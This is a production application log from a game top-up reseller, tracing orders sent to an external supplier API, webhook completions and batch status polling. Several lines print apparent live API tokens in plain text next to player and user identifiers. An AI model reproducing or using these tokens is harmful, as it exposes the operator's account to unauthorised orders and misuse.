[2026-03-24 00:30:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=10000&uuid=bb3cd8dd-5f6a-45c4-bbd3-0ef1e7c9ab5d&Player_ID=27237727","has_body":false} 
[2026-03-24 00:30:32] production.INFO: Operation sent successfully {"operation_id":163406,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7sBRRk36-1774301431","amount":2.395887999999999795619487485964782536029815673828125,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 00:30:32"}},"processed_data":{"order_number":"ORD-7sBRRk36-1774301431","amount":2.395887999999999795619487485964782536029815673828125,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 00:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02"} 
[2026-03-24 00:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","total_operations":6,"sites_count":1} 
[2026-03-24 00:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-5vxvnt5W-1774300883","ORD-7sBRRk36-1774301431"]} 
[2026-03-24 00:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 00:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7sBRRk36-1774301431","operation_id":163406} 
[2026-03-24 00:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":6,"updates_prepared":0} 
[2026-03-24 00:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"40UmLFD5uswG7ZtDUmrShVQSOgw8ZFfT","execution_time":"2026-03-24 00:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:32:11] production.INFO: Constructing job for order: 178474  
[2026-03-24 00:32:14] production.INFO: Handling job for order: 178474  
[2026-03-24 00:32:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:32:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:32:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=2000&uuid=623538d3-241d-463f-8ea0-853f522d4042&Player_ID=221893315  
[2026-03-24 00:32:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=2000&uuid=623538d3-241d-463f-8ea0-853f522d4042&Player_ID=221893315","has_body":false} 
[2026-03-24 00:32:15] production.INFO: Operation sent successfully {"operation_id":163407,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-udkZOzVK-1774301535","amount":1.6975210000000000576392267248593270778656005859375,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 00:32:15"}},"processed_data":{"order_number":"ORD-udkZOzVK-1774301535","amount":1.6975210000000000576392267248593270778656005859375,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 00:32:28] production.INFO: Constructing job for order: 178475  
[2026-03-24 00:32:30] production.INFO: Handling job for order: 178475  
[2026-03-24 00:32:30] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:32:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:32:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=cc1c8c59-8e22-4c9f-853f-78048514a949&Player_ID=0988761191  
[2026-03-24 00:32:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=cc1c8c59-8e22-4c9f-853f-78048514a949&Player_ID=0988761191","has_body":false} 
[2026-03-24 00:32:30] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message"],"required_fields":["order_number","amount","status"]} 
[2026-03-24 00:32:30] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163408,"exception":"Unknown named parameter $userId"} 
[2026-03-24 00:32:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1054  
[2026-03-24 00:32:40] production.INFO: Constructing job for order: 178476  
[2026-03-24 00:32:43] production.INFO: Handling job for order: 178476  
[2026-03-24 00:32:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:32:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:32:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=8000&uuid=200c0131-da60-4256-9145-21922a8b108d&Player_ID=4610745  
[2026-03-24 00:32:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=8000&uuid=200c0131-da60-4256-9145-21922a8b108d&Player_ID=4610745","has_body":false} 
[2026-03-24 00:32:43] production.INFO: Operation sent successfully {"operation_id":163409,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-EmR3PNa-1774301563","amount":5.9014319999999997889972291886806488037109375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 00:32:43"}},"processed_data":{"order_number":"ORD-EmR3PNa-1774301563","amount":5.9014319999999997889972291886806488037109375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 00:33:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7sBRRk36-1774301431","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:33:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-7sBRRk36-1774301431","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:33:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:33:05] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"order_approved","reference_id":178473} 
[2026-03-24 00:33:05] production.INFO: Order updated successfully. Order ID: 178473, Status: completed  
[2026-03-24 00:33:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7sBRRk36-1774301431","status":"completed","codes_count":0} 
[2026-03-24 00:33:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 00:33:07] production.INFO: Constructing job for order: 178477  
[2026-03-24 00:33:10] production.INFO: Handling job for order: 178477  
[2026-03-24 00:33:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:33:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:33:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2c152e3b-1759-4706-b918-aed42f7adf6a&Player_ID=51316742056  
[2026-03-24 00:33:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2c152e3b-1759-4706-b918-aed42f7adf6a&Player_ID=51316742056","has_body":false} 
[2026-03-24 00:33:11] production.INFO: Operation sent successfully {"operation_id":163410,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-P07iX-1774301591","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 00:33:11"}},"processed_data":{"order_number":"ORD-P07iX-1774301591","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 00:33:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-P07iX-1774301591","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 00:33:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-P07iX-1774301591","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 00:33:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:33:20] production.INFO: SendAcceptReject: Notification queued {"user_id":569,"notification_type":"order_approved","reference_id":178477} 
[2026-03-24 00:33:20] production.INFO: Order updated successfully. Order ID: 178477, Status: completed  
[2026-03-24 00:33:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-P07iX-1774301591","status":"completed","codes_count":0} 
[2026-03-24 00:33:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 569  
[2026-03-24 00:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02"} 
[2026-03-24 00:34:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","total_operations":7,"sites_count":1} 
[2026-03-24 00:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","orders_count":7,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-5vxvnt5W-1774300883","ORD-udkZOzVK-1774301535","ORD-EmR3PNa-1774301563"]} 
[2026-03-24 00:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":7} 
[2026-03-24 00:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"processed":2,"skipped":5,"updates_prepared":2} 
[2026-03-24 00:34:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 00:34:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"count":2} 
[2026-03-24 00:34:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"count":2} 
[2026-03-24 00:34:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"user_id":802,"notification_type":"order_approved","reference_id":178476} 
[2026-03-24 00:34:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"user_id":802,"notification_type":"order_approved","reference_id":178474} 
[2026-03-24 00:34:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:34:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:34:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"processed":2,"errors":0} 
[2026-03-24 00:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407,"processed":2,"errors":0} 
[2026-03-24 00:34:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"UTwZ6qzO0N2ucKAN6z0OWHqNtxfvn0iV","execution_time":"2026-03-24 00:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-udkZOzVK-1774301535","operation_id":163407} 
[2026-03-24 00:34:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 00:34:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 00:34:33] production.INFO: Constructing job for order: 178478  
[2026-03-24 00:34:35] production.INFO: Handling job for order: 178478  
[2026-03-24 00:34:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:34:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:34:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=25000&uuid=ef4e2094-8597-4ca9-b825-bdf8772bfea8&Player_ID=575283350  
[2026-03-24 00:34:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=25000&uuid=ef4e2094-8597-4ca9-b825-bdf8772bfea8&Player_ID=575283350","has_body":false} 
[2026-03-24 00:34:36] production.INFO: Operation sent successfully {"operation_id":163411,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-l6EkSd-1774301676","amount":2.537687500000000095923269327613525092601776123046875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 00:34:36"}},"processed_data":{"order_number":"ORD-l6EkSd-1774301676","amount":2.537687500000000095923269327613525092601776123046875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 00:34:44] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"157897223","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpghk0s9rspg37fizX6jt"}},"user_id":569} 
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 00:34:45] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 00:34:45] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18594,"user_id":569,"amount":1000.0,"admins_notified":7} 
[2026-03-24 00:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 00:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 00:35:05] production.INFO: async() رجع: true  
[2026-03-24 00:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:35:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:35:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:35:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:36:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-l6EkSd-1774301676","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:36:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-l6EkSd-1774301676","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:36:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:36:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1054,"notification_type":"order_approved","reference_id":178478} 
[2026-03-24 00:36:03] production.INFO: Order updated successfully. Order ID: 178478, Status: completed  
[2026-03-24 00:36:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-l6EkSd-1774301676","status":"completed","codes_count":0} 
[2026-03-24 00:36:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04"} 
[2026-03-24 00:36:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","total_operations":5,"sites_count":1} 
[2026-03-24 00:36:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-5vxvnt5W-1774300883"]} 
[2026-03-24 00:36:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:36:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 00:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:36:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 00:36:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:36:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"x6anpwNGHD1aUUYvZL6sBmK4m5Souydo","execution_time":"2026-03-24 00:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:36:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1054  
[2026-03-24 00:36:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5vxvnt5W-1774300883","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 00:36:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-5vxvnt5W-1774300883","status":"completed","codes":[],"notes":[]} 
[2026-03-24 00:36:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:36:26] production.INFO: SendAcceptReject: Notification queued {"user_id":69,"notification_type":"order_approved","reference_id":178470} 
[2026-03-24 00:36:26] production.INFO: Order updated successfully. Order ID: 178470, Status: completed  
[2026-03-24 00:36:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5vxvnt5W-1774300883","status":"completed","codes_count":0} 
[2026-03-24 00:36:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 00:36:42] production.INFO: Constructing job for order: 178479  
[2026-03-24 00:36:43] production.INFO: Handling job for order: 178479  
[2026-03-24 00:36:43] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:36:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:36:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=7151d5db-6e13-4908-876a-fecbf8a597b5&Player_ID=0988761191  
[2026-03-24 00:36:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=7151d5db-6e13-4908-876a-fecbf8a597b5&Player_ID=0988761191","has_body":false} 
